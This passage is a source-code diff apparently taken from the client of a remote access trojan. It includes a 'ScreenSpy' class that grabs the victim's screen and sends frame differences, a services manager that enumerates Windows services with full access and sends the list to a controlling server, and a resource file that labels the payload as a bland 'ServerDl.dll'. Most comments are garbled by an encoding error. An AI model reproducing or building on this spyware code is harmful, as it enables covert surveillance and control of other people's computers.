||||||
|
#include "stdafx.h"
|
||||||
|
#include "ScreenSpy.h"
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||||
|
{
|
||||||
|
m_bAlgorithm = ALGORITHM_DIFF;
|
||||||
|
m_dwBitBltRop = SRCCOPY;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
switch (ulbiBitCount)
|
||||||
|
{
|
||||||
|
case 16:
|
||||||
|
case 32:
|
||||||
|
m_ulbiBitCount = ulbiBitCount;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
m_ulbiBitCount = 16;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hDeskTopWnd = GetDesktopWindow();
|
||||||
|
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||||
|
|
||||||
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||||
|
m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
||||||
|
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
||||||
|
m_BitmapData_Full = NULL;
|
||||||
|
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||||
|
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||||
|
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||||
|
|
||||||
|
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||||
|
|
||||||
|
m_RectBufferOffset = 0;
|
||||||
|
|
||||||
|
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||||
|
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||||
|
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
CScreenSpy::~CScreenSpy()
|
||||||
|
{
|
||||||
|
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
|
||||||
|
if (m_hFullMemDC!=NULL)
|
||||||
|
{
|
||||||
|
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||||
|
|
||||||
|
::DeleteObject(m_BitmapHandle);
|
||||||
|
if (m_BitmapData_Full!=NULL)
|
||||||
|
{
|
||||||
|
m_BitmapData_Full = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hFullMemDC = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hDiffMemDC!=NULL)
|
||||||
|
{
|
||||||
|
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||||
|
|
||||||
|
::DeleteObject(m_DiffBitmapHandle);
|
||||||
|
if (m_DiffBitmapData_Full!=NULL)
|
||||||
|
{
|
||||||
|
m_DiffBitmapData_Full = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_BitmapInfor_Full!=NULL)
|
||||||
|
{
|
||||||
|
delete[] m_BitmapInfor_Full;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_RectBuffer)
|
||||||
|
{
|
||||||
|
delete[] m_RectBuffer;
|
||||||
|
m_RectBuffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_RectBufferOffset = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CScreenSpy::GetBISize()
|
||||||
|
{
|
||||||
|
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
|
||||||
|
|
||||||
|
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBITMAPINFO CScreenSpy::GetBIData()
|
||||||
|
{
|
||||||
|
return m_BitmapInfor_Full;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
||||||
|
ULONG ulFullWidth, ULONG ulFullHeight)
|
||||||
|
{
|
||||||
|
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||||
|
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||||
|
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
|
||||||
|
|
||||||
|
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
|
||||||
|
|
||||||
|
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||||
|
BitmapInforHeader->biWidth = ulFullWidth; //1080
|
||||||
|
BitmapInforHeader->biHeight = ulFullHeight; //1920
|
||||||
|
BitmapInforHeader->biPlanes = 1;
|
||||||
|
BitmapInforHeader->biBitCount = ulbiBitCount; //32
|
||||||
|
BitmapInforHeader->biCompression = BI_RGB;
|
||||||
|
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||||
|
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||||
|
BitmapInforHeader->biClrUsed = 0;
|
||||||
|
BitmapInforHeader->biClrImportant = 0;
|
||||||
|
BitmapInforHeader->biSizeImage =
|
||||||
|
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
|
||||||
|
|
||||||
|
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||||
|
|
||||||
|
return BitmapInfor;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID CScreenSpy::GetFirstScreenData()
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||||
|
::BitBlt(m_hFullMemDC, 0, 0,
|
||||||
|
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||||||
|
|
||||||
|
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CScreenSpy::GetFirstScreenLength()
|
||||||
|
{
|
||||||
|
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
||||||
|
{
|
||||||
|
if (ulNextSendLength == NULL || m_RectBuffer == NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
|
m_RectBufferOffset = 0;
|
||||||
|
|
||||||
|
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
|
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
POINT CursorPos;
|
||||||
|
GetCursorPos(&CursorPos);
|
||||||
|
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
|
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
|
||||||
|
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||||
|
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||||
|
{
|
||||||
|
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||||
|
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||||
|
m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||||
|
*ulNextSendLength = m_RectBufferOffset +
|
||||||
|
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||||
|
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||||
|
return m_RectBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
|
||||||
|
{
|
||||||
|
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||||
|
m_RectBufferOffset += ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
|
{
|
||||||
|
ULONG ulJumpLine = 50;
|
||||||
|
ULONG ulJumpSleep = ulJumpLine / 10;
|
||||||
|
|
||||||
|
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump)
|
||||||
|
{
|
||||||
|
ULONG ulv1 = ulHeight - i;
|
||||||
|
|
||||||
|
if (ulv1 > ulJumpLine)
|
||||||
|
ulToJump = ulJumpLine;
|
||||||
|
else
|
||||||
|
ulToJump = ulv1;
|
||||||
|
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
|
||||||
|
Sleep(ulJumpSleep);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||||
|
LPBYTE szBuffer, DWORD ulCompareLength)
|
||||||
|
{
|
||||||
|
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||||
|
LPDWORD p1, p2;
|
||||||
|
p1 = (LPDWORD)CompareDestData;
|
||||||
|
p2 = (LPDWORD)CompareSourData;
|
||||||
|
|
||||||
|
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
|
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0;
|
||||||
|
ULONG ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
|
||||||
|
for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++)
|
||||||
|
{
|
||||||
|
if (*p1 == *p2)
|
||||||
|
continue;
|
||||||
|
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
|
||||||
|
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
|
||||||
|
|
||||||
|
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
|
||||||
|
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
ulv1 = ulszBufferOffset + sizeof(int); //4
|
||||||
|
ulv2 = ulv1 + sizeof(int); //8
|
||||||
|
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*p1 = *p2;
|
||||||
|
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||||
|
|
||||||
|
/*
|
||||||
|
[1][2][3][3]
|
||||||
|
[1][3][2][1]
|
||||||
|
|
||||||
|
[0000][ ][1321]
|
||||||
|
*/
|
||||||
|
ulCount += 4;
|
||||||
|
i += 4, p1++, p2++;
|
||||||
|
for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++)
|
||||||
|
{
|
||||||
|
if (*p1 == *p2)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*p1 = *p2;
|
||||||
|
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||||
|
ulCount += 4;
|
||||||
|
}
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
*(LPDWORD)(szBuffer + ulv1) = ulCount;
|
||||||
|
ulszBufferOffset = ulv2 + ulCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
|
||||||
|
return ulszBufferOffset;
|
||||||
|
}
|
||||||
50
client/ScreenSpy.h
Normal file
50
client/ScreenSpy.h
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
// ScreenSpy.h: interface for the CScreenSpy class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
#define ALGORITHM_DIFF 1
|
||||||
|
#include "CursorInfor.h"
|
||||||
|
|
||||||
|
|
||||||
|
class CScreenSpy
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount);
|
||||||
|
virtual ~CScreenSpy();
|
||||||
|
ULONG CScreenSpy::GetBISize();
|
||||||
|
LPBITMAPINFO CScreenSpy::GetBIData();
|
||||||
|
ULONG m_ulbiBitCount;
|
||||||
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
|
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||||
|
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
||||||
|
ULONG ulFullWidth, ULONG ulFullHeight);
|
||||||
|
|
||||||
|
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
|
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||||
|
HDC m_hFullMemDC;
|
||||||
|
HBITMAP m_BitmapHandle;
|
||||||
|
PVOID m_BitmapData_Full;
|
||||||
|
DWORD m_dwBitBltRop;
|
||||||
|
LPVOID CScreenSpy::GetFirstScreenData();
|
||||||
|
ULONG CScreenSpy::GetFirstScreenLength();
|
||||||
|
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength);
|
||||||
|
BYTE* m_RectBuffer;
|
||||||
|
ULONG m_RectBufferOffset;
|
||||||
|
BYTE m_bAlgorithm;
|
||||||
|
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
||||||
|
CCursorInfor m_CursorInfor;
|
||||||
|
HDC m_hDiffMemDC;
|
||||||
|
HBITMAP m_DiffBitmapHandle;
|
||||||
|
PVOID m_DiffBitmapData_Full;
|
||||||
|
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||||
|
LPBYTE szBuffer, DWORD ulCompareLength);
|
||||||
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
139
client/Script.rc
Normal file
139
client/Script.rc
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
// Microsoft Visual C++ generated resource script.
|
||||||
|
//
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
#define APSTUDIO_READONLY_SYMBOLS
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Generated from the TEXTINCLUDE 2 resource.
|
||||||
|
//
|
||||||
|
#include "afxres.h"
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
#undef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
// <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||||
|
|
||||||
|
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||||
|
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||||
|
#pragma code_page(936)
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Dialog
|
||||||
|
//
|
||||||
|
|
||||||
|
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||||
|
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
|
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
|
||||||
|
FONT 10, "System", 0, 0, 0x0
|
||||||
|
BEGIN
|
||||||
|
DEFPUSHBUTTON "OK",IDOK,27,87,50,14
|
||||||
|
PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14
|
||||||
|
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
|
||||||
|
END
|
||||||
|
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// DESIGNINFO
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
GUIDELINES DESIGNINFO
|
||||||
|
BEGIN
|
||||||
|
IDD_DIALOG, DIALOG
|
||||||
|
BEGIN
|
||||||
|
BOTTOMMARGIN, 101
|
||||||
|
END
|
||||||
|
END
|
||||||
|
#endif // APSTUDIO_INVOKED
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// TEXTINCLUDE
|
||||||
|
//
|
||||||
|
|
||||||
|
1 TEXTINCLUDE
|
||||||
|
BEGIN
|
||||||
|
"resource.h\0"
|
||||||
|
END
|
||||||
|
|
||||||
|
2 TEXTINCLUDE
|
||||||
|
BEGIN
|
||||||
|
"#include ""afxres.h""\r\n"
|
||||||
|
"\0"
|
||||||
|
END
|
||||||
|
|
||||||
|
3 TEXTINCLUDE
|
||||||
|
BEGIN
|
||||||
|
"\r\n"
|
||||||
|
"\0"
|
||||||
|
END
|
||||||
|
|
||||||
|
#endif // APSTUDIO_INVOKED
|
||||||
|
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// WAVE
|
||||||
|
//
|
||||||
|
|
||||||
|
IDR_WAVE WAVE "Res\\msg.wav"
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Version
|
||||||
|
//
|
||||||
|
|
||||||
|
VS_VERSION_INFO VERSIONINFO
|
||||||
|
FILEVERSION 1,0,0,1
|
||||||
|
PRODUCTVERSION 1,0,0,1
|
||||||
|
FILEFLAGSMASK 0x3fL
|
||||||
|
#ifdef _DEBUG
|
||||||
|
FILEFLAGS 0x1L
|
||||||
|
#else
|
||||||
|
FILEFLAGS 0x0L
|
||||||
|
#endif
|
||||||
|
FILEOS 0x40004L
|
||||||
|
FILETYPE 0x2L
|
||||||
|
FILESUBTYPE 0x0L
|
||||||
|
BEGIN
|
||||||
|
BLOCK "StringFileInfo"
|
||||||
|
BEGIN
|
||||||
|
BLOCK "080404b0"
|
||||||
|
BEGIN
|
||||||
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
|
VALUE "FileDescription", "A DLL"
|
||||||
|
VALUE "FileVersion", "1.0.0.1"
|
||||||
|
VALUE "InternalName", "ServerDl.dll"
|
||||||
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
|
VALUE "OriginalFilename", "ServerDl.dll"
|
||||||
|
VALUE "ProductName", "A DLL"
|
||||||
|
VALUE "ProductVersion", "1.0.0.1"
|
||||||
|
END
|
||||||
|
END
|
||||||
|
BLOCK "VarFileInfo"
|
||||||
|
BEGIN
|
||||||
|
VALUE "Translation", 0x804, 1200
|
||||||
|
END
|
||||||
|
END
|
||||||
|
|
||||||
|
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef APSTUDIO_INVOKED
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Generated from the TEXTINCLUDE 3 resource.
|
||||||
|
//
|
||||||
|
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
#endif // not APSTUDIO_INVOKED
|
||||||
|
|
||||||
276
client/ServicesManager.cpp
Normal file
276
client/ServicesManager.cpp
Normal file
@@ -0,0 +1,276 @@
|
|||||||
|
// ServicesManager.cpp: implementation of the CServicesManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ServicesManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
|
||||||
|
CServicesManager::~CServicesManager()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CServicesManager::SendServicesList()
|
||||||
|
{
|
||||||
|
LPBYTE szBuffer = GetServicesList();
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CServicesManager::GetServicesList()
|
||||||
|
{
|
||||||
|
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||||
|
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||||
|
LPBYTE szBuffer = NULL;
|
||||||
|
char szRunWay[256] = {0};
|
||||||
|
char szAutoRun[256] = {0};
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||||
|
|
||||||
|
if (ServicesStatus==NULL)
|
||||||
|
{
|
||||||
|
CloseServiceHandle(m_hscManager);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD dwNeedsBytes = 0;
|
||||||
|
DWORD dwServicesCount = 0;
|
||||||
|
DWORD dwResumeHandle = 0;
|
||||||
|
EnumServicesStatus(m_hscManager,
|
||||||
|
SERVICE_TYPE_ALL, //CTL_FIX
|
||||||
|
SERVICE_STATE_ALL,
|
||||||
|
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||||
|
64 * 1024,
|
||||||
|
&dwNeedsBytes,
|
||||||
|
&dwServicesCount,
|
||||||
|
&dwResumeHandle);
|
||||||
|
|
||||||
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_SERVERLIST;
|
||||||
|
dwOffset = 1;
|
||||||
|
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||||
|
{
|
||||||
|
SC_HANDLE hServices = NULL;
|
||||||
|
DWORD nResumeHandle = 0;
|
||||||
|
|
||||||
|
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
|
||||||
|
SERVICE_ALL_ACCESS);
|
||||||
|
|
||||||
|
if (hServices==NULL)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||||
|
|
||||||
|
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||||
|
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
|
||||||
|
{
|
||||||
|
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||||
|
lstrcat(szRunWay,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||||
|
lstrcat(szRunWay,"ֹͣ");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(2==ServicesInfor->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //SERVICE_AUTO_START
|
||||||
|
{
|
||||||
|
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||||
|
lstrcat(szAutoRun,"<EFBFBD>Զ<EFBFBD>");
|
||||||
|
}
|
||||||
|
if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START
|
||||||
|
{
|
||||||
|
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||||
|
lstrcat(szAutoRun,"<EFBFBD>ֶ<EFBFBD>");
|
||||||
|
}
|
||||||
|
if(4==ServicesInfor->dwStartType)
|
||||||
|
{
|
||||||
|
ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED
|
||||||
|
lstrcat(szAutoRun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
|
||||||
|
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||||
|
